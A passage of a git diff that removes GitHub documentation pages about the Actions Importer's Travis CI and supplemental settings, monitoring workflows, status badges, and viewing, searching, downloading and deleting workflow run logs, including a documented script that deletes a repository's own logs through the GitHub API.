Travis CI. - -### Using environment variables - -{% data reusables.actions.gai-config-environment-variables %} - -{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your Travis CI instance: - -* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires the `workflow` scope). -* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`). -* `TRAVIS_CI_ACCESS_TOKEN`: The Travis CI API access token used to view Travis CI resources. -* `TRAVIS_CI_ORGANIZATION`: The organization name of your Travis CI instance. -* `TRAVIS_CI_INSTANCE_URL`: The URL of the Travis CI instance. -* `TRAVIS_CI_SOURCE_GITHUB_ACCESS_TOKEN`: (Optional) The {% data variables.product.pat_generic %} used to authenticate with your source GitHub instance. If not provided, `GITHUB_ACCESS_TOKEN` will be used instead. -* `TRAVIS_CI_SOURCE_GITHUB_INSTANCE_URL`: (Optional) The URL to the source GitHub instance, such as https://github.com. If not provided, `GITHUB_INSTANCE_URL` will be used instead. - -These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run. - -### Using optional arguments - -{% data reusables.actions.gai-optional-arguments-intro %} - -#### `--source-file-path` - -You can use the `--source-file-path` argument with the `forecast`, `dry-run`, or `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead. - -For example: - -```shell -gh actions-importer dry-run travis-ci --output-dir ./path/to/output/ --travis-ci-repository my-travis-ci-repository --source-file-path ./path/to/.travis.yml -``` - -#### `--allow-inactive-repositories` - -You can use this argument to specify whether {% data variables.product.prodname_actions_importer %} should include inactive repositories in an audit. If this option is not set, inactive repositories are not included in audits. - -```shell -gh actions-importer dry-run travis-ci --output-dir ./path/to/output/ --travis-ci-repository my-travis-ci-repository --allow-inactive-repositories -``` - -#### `--config-file-path` - -You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead. - -##### Audit example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit. - -```shell -gh actions-importer audit travis-ci --output-dir ./path/to/output/ --config-file-path ./path/to/travis-ci/config.yml -``` - -To audit a Travis CI instance using a configuration file, the file must be in the following format and each `repository_slug` value must be unique: - -```yaml -source_files: - - repository_slug: travis-org-name/travis-repo-name - path: path/to/.travis.yml - - repository_slug: travis-org-name/some-other-travis-repo-name - path: path/to/.travis.yml -``` - -##### Dry run example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform a dry run. - -The pipeline is selected by matching the `repository_slug` in the configuration file to the value of the `--travis-ci-repository` option. The `path` is then used to pull the specified source file. - -```shell -gh actions-importer dry-run travis-ci --travis-ci-repository travis-org-name/travis-repo-name --output-dir ./output/ --config-file-path ./path/to/travis-ci/config.yml -``` - -### Supported project languages - -{% data variables.product.prodname_actions_importer %} supports migrating Travis CI projects in the following languages. - -<ul style="-webkit-column-count: 3; -moz-column-count: 3; column-count: 3;"> -<li><code>android</code></li> -<li><code>bash</code></li> -<li><code>c</code></li> -<li><code>clojure</code></li> -<li><code>c++</code></li> -<li><code>crystal</code></li> -<li><code>c#</code></li> -<li><code>d</code></li> -<li><code>dart</code></li> -<li><code>elixir</code></li> -<li><code>erlang</code></li> -<li><code>generic</code></li> -<li><code>go</code></li> -<li><code>groovy</code></li> -<li><code>haskell</code></li> -<li><code>haxe</code></li> -<li><code>java</code></li> -<li><code>julia</code></li> -<li><code>matlab</code></li> -<li><code>minimal</code></li> -<li><code>nix</code></li> -<li><code>node_js</code></li> -<li><code>objective-c</code></li> -<li><code>perl</code></li> -<li><code>perl6</code></li> -<li><code>php</code></li> -<li><code>python</code></li> -<li><code>r</code></li> -<li><code>ruby</code></li> -<li><code>rust</code></li> -<li><code>scala</code></li> -<li><code>sh</code></li> -<li><code>shell</code></li> -<li><code>smalltalk</code></li> -<li><code>swift</code></li> -</ul> - -### Supported syntax for Travis CI pipelines - -The following table shows the type of properties {% data variables.product.prodname_actions_importer %} is currently able to convert. For more details about how Travis CI pipeline syntax aligns with {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions). - -| Travis CI | GitHub Actions | Status | -| :------------------ | :--------------------------------- | ------------------: | -| branches | <ul><li>`on.<push>.<branches>`</li>| Supported | -| build_pull_requests | <ul><li>`on.<pull_request>`</li> | Supported | -| env | <ul><li>`env`</li> <li>`jobs.<job_id>.env`</li><li>`jobs.<job_id>.steps.env`</li> | Supported | -| if | <ul><li>`jobs.<job_id>.if`</li></ul> | Supported | -| job | <ul><li>`jobs.<job_id>`</li><li>`jobs.<job_id>.name`</li></ul> | Supported | -| matrix | <ul><li>`jobs.<job_id>.strategy`</li><li>`jobs.<job_id>.strategy.fail-fast`</li><li>`jobs.<job_id>.strategy.matrix`</li> | Supported | -| os & dist | <ul><li>`runners`</li></ul> | Supported | -| scripts | <ul><li>`jobs.<job_id>.steps`</li></ul> | Supported | -| stages | <ul><li>`jobs`</li></ul> | Supported | -| env | <ul><li>`on`</li> | Partially supported | -| branches | <ul><li>`on.<push>.<tags>`</li><li>`on.<push>.paths`</li> | Unsupported | -| build_pull_requests | <ul><li>`on.<pull_request>.<branches>`</li><li>`on.<pull_request>.<tags>`</li><li>`on.<pull_request>.paths`</li> | Unsupported | -| cron triggers | <ul><li>`on.schedule`</li><li>`on.workflow_run`</li></ul> | Unsupported | -| env | <ul><li>`jobs.<job_id>.timeout-minutes`</li><li>`on.<event_name>.types`</li> | Unsupported | -| job | <ul><li>`jobs.<job_id>.container`</li> | Unsupported | -| os & dist | <ul><li>`self hosted runners`</li></ul> | Unsupported | - -For information about supported Travis CI constructs, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/travis_ci/index.md). - -### Environment variables syntax - -{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default Travis CI environment variables to the closest equivalent in {% data variables.product.prodname_actions %}. - -| Travis CI | GitHub Actions | -| :---------------------------- | :------------------------------------------------------------------------------------ | -| {% raw %}`$CONTINUOUS_INTEGRATION`{% endraw %} | {% raw %}`$CI`{% endraw %} | -| {% raw %}`$USER`{% endraw %} | {% raw %}`${{ github.actor }}`{% endraw %} | -| {% raw %}`$HOME`{% endraw %} | {% raw %}`${{ github.workspace }}` {% endraw %} | -| {% raw %}`$TRAVIS_BRANCH`{% endraw %} | {% raw %}`${{ github.ref }}`{% endraw %} | -| {% raw %}`$TRAVIS_BUILD_DIR`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} | -| {% raw %}`$TRAVIS_BUILD_ID`{% endraw %} | {% raw %}`${{ github.run_number }}`{% endraw %} | -| {% raw %}`$TRAVIS_BUILD_NUMBER`{% endraw %} | {% raw %}`${{ github.run_id }}`{% endraw %} | -| {% raw %}`$TRAVIS_COMMIT`{% endraw %} | {% raw %}`${{ github.sha }}`{% endraw %} | -| {% raw %}`$TRAVIS_EVENT_TYPE`{% endraw %} | {% raw %}`${{ github.event_name }}`{% endraw %} | -| {% raw %}`$TRAVIS_PULL_REQUEST_BRANCH`{% endraw %} | {% raw %}`${{ github.base_ref }}`{% endraw %} | -| {% raw %}`$TRAVIS_PULL_REQUEST`{% endraw %} | {% raw %}`${{ github.event.number }}`{% endraw %} | -| {% raw %}`$TRAVIS_PULL_REQUEST_SHA`{% endraw %} | {% raw %}`${{ github.head.sha }}`{% endraw %} | -| {% raw %}`$TRAVIS_PULL_REQUEST_SLUG`{% endraw %} | {% raw %}`${{ github.repository }}`{% endraw %} | -| {% raw %}`$TRAVIS_TAG`{% endraw %} | {% raw %}`${{ github.ref }}`{% endraw %} | -| {% raw %}`$TRAVIS_OS_NAME`{% endraw %} | {% raw %}`${{ runner.os }}`{% endraw %} | -| {% raw %}`$TRAVIS_JOB_ID`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} | -| {% raw %}`$TRAVIS_REPO_SLUG`{% endraw %} | {% raw %}`${{ github.repository_owner/github.repository }}`{% endraw %} | -| {% raw %}`$TRAVIS_BUILD_WEB_URL`{% endraw %} | {% raw %}`${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}`{% endraw %} | - -## Legal notice - -{% data reusables.actions.actions-importer-legal-notice %} diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/supplemental-arguments-and-settings.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/supplemental-arguments-and-settings.md deleted file mode 100644 index 582be574c7d5..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/supplemental-arguments-and-settings.md +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: Supplemental arguments and settings -intro: '{% data variables.product.prodname_actions_importer %} has several supplemental arguments and settings to tailor the migration process to your needs.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: reference -topics: - - Migration - - CI - - CD -redirect_from: - - /actions/migrating-to-github-actions/automated-migrations/supplemental-arguments-and-settings ---- - -[Legal notice](#legal-notice) - -This article provides general information for configuring {% data variables.product.prodname_actions_importer %}'s supplemental arguments and settings, such as optional parameters, path arguments, and network settings. - -## Optional parameters - -{% data variables.product.prodname_actions_importer %} has several optional parameters that you can use to customize the migration process. - -### Limiting allowed actions - -The following options can be used to limit which actions are allowed in converted workflows. When used in combination, these options expand the list of allowed actions. If none of these options are supplied, then all actions are allowed. - -* `--allowed-actions` specifies a list of actions to allow in converted workflows. Wildcards are supported. Any other actions other than those provided will be disallowed. - - For example: - - ```shell - --allowed-actions {% data reusables.actions.action-checkout %} actions/upload-artifact@* my-org/* - ``` - - You can provide an empty list to disallow all actions. For example, `--allowed-actions=`. - -* `--allow-verified-actions` specifies that all actions from verified creators are allowed. - -* `--allow-github-created-actions` specifies that actions published from the `github` or `actions` organizations are allowed. - - For example, such actions include `github/super-linter` and `actions/checkout`. - - This option is equivalent to `--allowed-actions actions/* github/*`. - -### Using a credentials file for authentication - -The `--credentials-file` parameter specifies the path to a file containing credentials for different servers that {% data variables.product.prodname_actions_importer %} can authenticate to. This is useful when build scripts (such as `.travis.yml` or `jenkinsfile`) are stored in multiple {% data variables.product.prodname_ghe_server %} instances. - -A credentials file must be a YAML file containing a list of server and access token combinations. {% data variables.product.prodname_actions_importer %} uses the credentials for the URL that most closely matches the network request being made. - -For example: - -```yaml -- url: https://github.com - access_token: ghp_mygeneraltoken -- url: https://github.com/specific_org/ - access_token: ghp_myorgspecifictoken -- url: https://jenkins.org - access_token: abc123 - username: marty_mcfly -``` - -For the above credentials file, {% data variables.product.prodname_actions_importer %} uses the access token `ghp_mygeneraltoken` to authenticate all network requests to `https://github.com`, _unless_ the network request is for a repository in the `specific_org` organization. In that case, the `ghp_myorgspecifictoken` token is used to authenticate instead. - -#### Alternative source code providers - -{% data variables.product.prodname_actions_importer %} can automatically fetch source code from non-{% data variables.product.prodname_dotcom %} repositories. A credentials file can specify the `provider`, the provider URL, and the credentials needed to retrieve the source code. - -For example: - -```yaml -- url: https://gitlab.com - access_token: super_secret_token - provider: gitlab -``` - -For the above example, {% data variables.product.prodname_actions_importer %} uses the token `super_secret_token` to retrieve any source code that is hosted on `https://gitlab.com`. - -Supported values for `provider` are: - -* `github` (default) -* `gitlab` -* `bitbucket_server` -* `azure_devops` - -### Controlling optional features - -You can use the `--features` option to limit the features used in workflows that {% data variables.product.prodname_actions_importer %} creates. This is useful for excluding newer {% data variables.product.prodname_actions %} syntax from workflows when migrating to an older {% data variables.product.prodname_ghe_server %} instance. When using the `--features` option, you must specify the version of {% data variables.product.prodname_ghe_server %} that you are migrating to. - -For example: - -```shell -gh actions-importer dry-run ... --features ghes-3.3 -``` - -The supported values for `--features` are: - -* `all` (default value) -* `ghes-latest` -* `ghes-<number>`, where `<number>` is the version of {% data variables.product.prodname_ghe_server %}, `3.0` or later. For example, `ghes-3.3`. - -You can view the list of available feature flags by {% data variables.product.prodname_actions_importer %} by running the `list-features` command. For example: - -```shell copy -gh actions-importer list-features -``` - -You should see an output similar to the following. - -<!-- markdownlint-disable search-replace --> - -```shell -Available feature flags: - -actions/cache (disabled): - Control usage of actions/cache inside of workflows. Outputs a comment if not enabled. - GitHub Enterprise Server >= ghes-3.5 required. - -composite-actions (enabled): - Minimizes resulting workflow complexity through the use of composite actions. See https://docs.github.com/en/actions/creating-actions/creating-a-composite-action for more information. - GitHub Enterprise Server >= ghes-3.4 required. - -reusable-workflows (disabled): - Avoid duplication by re-using existing workflows. See https://docs.github.com/en/actions/using-workflows/reusing-workflows for more information. - GitHub Enterprise Server >= ghes-3.4 required. - -workflow-concurrency-option-allowed (enabled): - Allows the use of the `concurrency` option in workflows. See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#concurrency for more information. - GitHub Enterprise Server >= ghes-3.2 required. - -Enable features by passing --enable-features feature-1 feature-2 -Disable features by passing --disable-features feature-1 feature-2 -``` - -<!-- markdownlint-enable search-replace --> - -To toggle feature flags, you can use either of the following methods: -* Use the `--enable-features` and `--disable-features` options when running a `gh actions-importer` command. -* Use an environment variable for each feature flag. - -You can use the `--enable-features` and `--disable-features` options to select specific features to enable or disable for the duration of the command. -For example, the following command disables use of `actions/cache` and `composite-actions`: - -```shell -gh actions-importer dry-run ... --disable-features=composite-actions actions/cache -``` - -You can use the `configure --features` command to interactively configure feature flags and automatically write them to your environment: - -```shell -$ gh actions-importer configure --features - -✔ Which features would you like to configure?: actions/cache, reusable-workflows -✔ actions/cache (disabled): Enable -? reusable-workflows (disabled): -› Enable - Disable -``` - -### Disabling network response caching - -By default, {% data variables.product.prodname_actions_importer %} caches responses from network requests to reduce network load and reduce run time. You can use the `--no-http-cache` option to disable the network cache. For example: - -```shell -gh actions-importer forecast ... --no-http-cache -``` - -## Path arguments - -When running {% data variables.product.prodname_actions_importer %}, path arguments are relative to the container's disk, so absolute paths relative to the container's host machine are not supported. When {% data variables.product.prodname_actions_importer %} is run, the container's `/data` directory is mounted to the directory where {% data variables.product.prodname_actions_importer %} is run. - -For example, the following command, when used in the `/Users/mona` directory, outputs the {% data variables.product.prodname_actions_importer %} audit summary to the `/Users/mona/out` directory: - -```shell -gh actions-importer audit --output-dir /data/out -``` - -## Using a proxy - -To access servers that are configured with a HTTP proxy, you must set the following environment variables with the proxy's URL: - -* `OCTOKIT_PROXY`: for any {% data variables.product.prodname_dotcom %} server. -* `HTTP_PROXY` (or `HTTPS_PROXY`): for any other servers. - -For example: - -```shell -export OCTOKIT_PROXY=https://proxy.example.com:8443 -export HTTPS_PROXY=$OCTOKIT_PROXY -``` - -If the proxy requires authentication, a username and password must be included in the proxy URL. For example, `https://username:password@proxy.url:port`. - -## Disabling SSL certificate verification - -By default, {% data variables.product.prodname_actions_importer %} verifies SSL certificates when making network requests. You can disable SSL certificate verification with the `--no-ssl-verify` option. For example: - -```shell -gh actions-importer audit --output-dir ./output --no-ssl-verify -``` - -## Legal notice - -{% data reusables.actions.actions-importer-legal-notice %} diff --git a/content/actions/monitoring-and-troubleshooting-workflows/index.md b/content/actions/monitoring-and-troubleshooting-workflows/index.md deleted file mode 100644 index 5406af09b895..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Monitoring and troubleshooting workflows -shortTitle: Monitor & troubleshoot -intro: 'You can view the status and results of each step in your workflow, debug a failed workflow, and search and download logs.' -redirect_from: - - /articles/viewing-your-repository-s-workflows - - /articles/viewing-your-repositorys-workflows - - /actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /monitoring-workflows - - /troubleshooting-workflows ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/about-monitoring-workflows.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/about-monitoring-workflows.md deleted file mode 100644 index 7721e2e01f82..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/about-monitoring-workflows.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: About monitoring workflows -intro: 'You can use the tools in {% data variables.product.prodname_actions %} to monitor your workflows, metrics, and self-hosted runners.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: About monitoring ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Monitoring your workflows - -{% ifversion github-runner-dashboard %} - -### Monitoring your current jobs in your organization or enterprise - -{% data reusables.actions.github-hosted-runners-check-concurrency %} - -{% endif %} - -### Using the visualization graph - -Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. For example: - - ![Screenshot of the visualization graph of a workflow run.](/assets/images/help/actions/workflow-graph.png) - -For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph). - -### Adding a workflow status badge - -{% data reusables.repositories.actions-workflow-status-badge-intro %} - -For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge). - -{% ifversion fpt or ghec %} - -### Viewing job execution time - -To identify how long a job took to run, you can view its execution time. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time). -{% endif %} - -### Viewing workflow run history - -You can view the status of each job and step in a workflow. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). - -{% ifversion actions-metrics %} - -## Monitoring {% data variables.product.prodname_actions %} metrics - -To analyze the efficiency and reliability of your workflows using metrics, see [AUTOTITLE](/actions/administering-github-actions/viewing-github-actions-metrics). -{% endif %} - -## Monitoring self-hosted runners - -If you use self-hosted runners, you can view their activity and diagnose common issues. - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners). diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/adding-a-workflow-status-badge.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/adding-a-workflow-status-badge.md deleted file mode 100644 index e874d93c8d6a..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/adding-a-workflow-status-badge.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Adding a workflow status badge -shortTitle: Add a status badge -intro: You can display a status badge in your repository to indicate the status of your workflows. -redirect_from: - - /actions/managing-workflow-runs/adding-a-workflow-status-badge - - /actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -> [!NOTE] -> Workflow badges in a private repository are not accessible externally, so you won't be able to embed them or link to them from an external site. - -{% data reusables.repositories.actions-workflow-status-badge-intro %} - -To add a workflow status badge to your `README.md` file, first find the URL for the status badge you would like to display. Then you can use Markdown to display the badge as an image in your `README.md` file. For more information about image markup in Markdown, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images). - -## Using the workflow file name - -You can build the URL for a workflow status badge using the name of the workflow file: - -```text -{% ifversion fpt or ghec %}https://github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY/actions/workflows/WORKFLOW-FILE/badge.svg -``` - -To display the workflow status badge in your `README.md` file, use the Markdown markup for embedding images. For more information about image markup in Markdown, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images). - -For example, add the following Markdown to your `README.md` file to add a status badge for a workflow with the file path `.github/workflows/main.yml`. The `OWNER` of the repository is the `github` organization and the `REPOSITORY` name is `docs`. - -```markdown -![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg) -``` - -## Using the `branch` parameter - -To display the status of a workflow run for a specific branch, add `?branch=BRANCH-NAME` to the end of the status badge URL. - -For example, add the following Markdown to your `README.md` file to display a status badge for a branch with the name `feature-1`. - -```markdown -![example branch parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?branch=feature-1) -``` - -## Using the `event` parameter - -To display the status of workflow runs triggered by the `push` event, add `?event=push` to the end of the status badge URL. - -For example, add the following Markdown to your `README.md` file to display a badge with the status of workflow runs triggered by the `push` event, which will show the status of the build for the current state of that branch. - -```markdown -![example event parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?event=push) -``` diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/index.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/index.md deleted file mode 100644 index 15e9f846d035..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Monitoring workflows -shortTitle: Monitor -intro: 'You can monitor {% data variables.product.prodname_actions %} workflows by using tools like the visualization graph and run logs.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-monitoring-workflows - - /notifications-for-workflow-runs - - /using-the-visualization-graph - - /viewing-workflow-run-history - - /viewing-job-execution-time - - /adding-a-workflow-status-badge - - /using-workflow-run-logs ---- diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/notifications-for-workflow-runs.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/notifications-for-workflow-runs.md deleted file mode 100644 index 3c09d2db10e1..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/notifications-for-workflow-runs.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Notifications for workflow runs -shortTitle: Notifications for workflow runs -intro: You can subscribe to notifications about workflow runs that you trigger. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -{% data reusables.repositories.workflow-notifications %} diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-the-visualization-graph.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-the-visualization-graph.md deleted file mode 100644 index c4bc5f5486bd..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-the-visualization-graph.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Using the visualization graph -shortTitle: Visualization graph -intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. -redirect_from: - - /actions/managing-workflow-runs/using-the-visualization-graph - - /actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} - -1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies. - - ![Screenshot of the visualization graph of a workflow run.](/assets/images/help/actions/workflow-graph.png) -1. To view a job's log, click the job. diff --git a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-workflow-run-logs.md b/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-workflow-run-logs.md deleted file mode 100644 index dc9a20b25edc..000000000000 --- a/content/actions/monitoring-and-troubleshooting-workflows/monitoring-workflows/using-workflow-run-logs.md +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Using workflow run logs -shortTitle: Workflow run logs -intro: 'You can view, search, and download the logs for each job in a workflow run.' -redirect_from: - - /actions/managing-workflow-runs/using-workflow-run-logs - - /actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -You can see whether a workflow run is in progress or complete from the workflow run page. You must be logged in to a {% data variables.product.prodname_dotcom %} account to view workflow run information, including for public repositories. For more information, see [AUTOTITLE](/get-started/learning-about-github/access-permissions-on-github). - -If the run is complete, you can see whether the result was a success, failure, canceled, or neutral. If the run failed, you can view and search the build logs to diagnose the failure and re-run the workflow. You can also view billable job execution minutes, or download logs and build artifacts. - -{% data variables.product.prodname_actions %} use the Checks API to output statuses, results, and logs for a workflow. {% data variables.product.prodname_dotcom %} creates a new check suite for each workflow run. The check suite contains a check run for each job in the workflow, and each job includes steps. {% data variables.product.prodname_actions %} are run as a step in a workflow. For more information about the Checks API, see [AUTOTITLE](/rest/checks). - -{% data reusables.actions.invalid-workflow-files %} - -## Viewing logs to diagnose failures - -If your workflow run fails, you can see which step caused the failure and review the failed step's build logs to troubleshoot. You can see the time it took for each step to run. You can also copy a permalink to a specific line in the log file to share with your team. {% data reusables.repositories.permissions-statement-read %} - -In addition to the steps configured in the workflow file, {% data variables.product.prodname_dotcom %} adds two additional steps to each job to set up and complete the job's execution. These steps are logged in the workflow run with the names "Set up job" and "Complete job". - -For jobs run on {% data variables.product.prodname_dotcom %}-hosted runners, "Set up job" records details of the runner image, and includes a link to the list of preinstalled tools that were present on the runner machine. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -{% data reusables.repositories.navigate-to-job %} -{% data reusables.repositories.view-failed-job-results %} -{% data reusables.repositories.view-specific-line %} - -## Searching logs - -You can search the build logs for a particular step. When you search logs, only expanded steps are included in the results. {% data reusables.repositories.permissions-statement-read %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -{% data reusables.repositories.navigate-to-job %} -1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. - -## Downloading logs - -You can download the log files from your workflow run. You can also download a workflow's artifacts. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). {% data reusables.repositories.permissions-statement-read %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -{% data reusables.repositories.navigate-to-job %} -1. In the upper right corner of the log, select the {% octicon "gear" aria-label="Show options" %} dropdown menu, then click **Download log archive**. - - ![Screenshot of the log for a job. In the header, a gear icon is outlined in dark orange.](/assets/images/help/actions/download-logs-drop-down.png) - - > [!NOTE] - > When you download the log archive for a workflow that was partially re-run, the archive only includes the jobs that were re-run. To get a complete set of logs for jobs that were run from a workflow, you must download the log archives for the previous run attempts that ran the other jobs. - -## Deleting logs - -You can delete the log files from your workflow runs through the {% data variables.product.prodname_dotcom %} web interface or programmatically. {% data reusables.repositories.permissions-statement-write %} - -### Deleting logs via the {% data variables.product.prodname_dotcom %} web interface - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.navigate-to-workflow %} -{% data reusables.repositories.view-run %} -1. In the upper-right corner, select the {% octicon "kebab-horizontal" aria-label="Show workflow options" %} dropdown menu, then click **Delete all logs**. - - ![Screenshot of the page for a workflow run. In the top-right corner, a button, labeled with a kebab icon, is outlined in dark orange.](/assets/images/help/actions/workflow-run-kebab-horizontal-icon.png) - -1. Review the confirmation prompt. - -After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. - -### Deleting logs programmatically - -You can use the following script to automatically delete all logs for a workflow. This can be a useful way to clean up logs for multiple workflow runs. - -To run the example script below: - -1. Copy the code example and save it to a file called `delete-logs.sh`. -1. Grant it the execute permission with `chmod +x delete-logs.sh`. -1. Run the following command, where `REPOSITORY_NAME` is the name of your repository and `WORKFLOW_NAME` is the file name of your workflow. - - ```shell copy - ./delete-logs.sh REPOSITORY_NAME WORKFLOW_NAME - ``` - - For example, to delete all of the logs in the `monalisa/octocat` repository for the `.github/workflows/ci.yaml` workflow, you would run `./delete-logs.sh monalisa/octocat ci.yaml`. - -#### Example script - -```bash copy -#!/usr/bin/env bash - -# Delete all logs for a given workflow -# Usage: delete-logs.sh <repository> <workflow-name> - -set -oe pipefail - -REPOSITORY=$1 -WORKFLOW_NAME=$2 - -# Validate arguments -if [[ -z "$REPOSITORY" ]]; then - echo "Repository is required" - exit 1 -fi - -if [[ -z "$WORKFLOW_NAME" ]]; then - echo "Workflow name is required" - exit 1 -fi - -echo "Getting all completed runs for workflow $WORKFLOW_NAME in $REPOSITORY" - -RUNS=$( - gh api \ - -H "Accept: application/vnd.github+json" \ - -H "X-GitHub-Api-Version: 2022-11-28" \ - "/repos/$REPOSITORY/actions/workflows/$WORKFLOW_NAME/runs" \ - --paginate \ - --jq '.workflow_runs[] | select(.conclusion != "") | .id' -) - -echo "Found $(echo "$RUNS" | wc -l) completed runs for workflow $WORKFLOW_NAME" - -# Delete logs for each run -for RUN in $RUNS; do - echo "Deleting logs for run $RUN" - gh api \ - --silent \ - --method DELETE \ - -H "Accept: application/vnd.github+json" \ - -H "X-GitHub-Api-Version: 2022-11-28" \ - "/repos/$REPOSITORY/actions/runs/$RUN/logs" || echo "Failed to delete logs for run $RUN" - - # Sleep for 100ms to avoid rate limiting - sleep 0.1 -done -``` - -## Viewing logs with {% data variables.product.prodname_cli %} - -{% data reusables.cli.cli-learn-more %} - -To view the log for a specific job, use the `run view` subcommand. Replace `run-id` with the ID of run that you want to view logs for. {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a job from the run. If you don't specify `run-id`, {% data 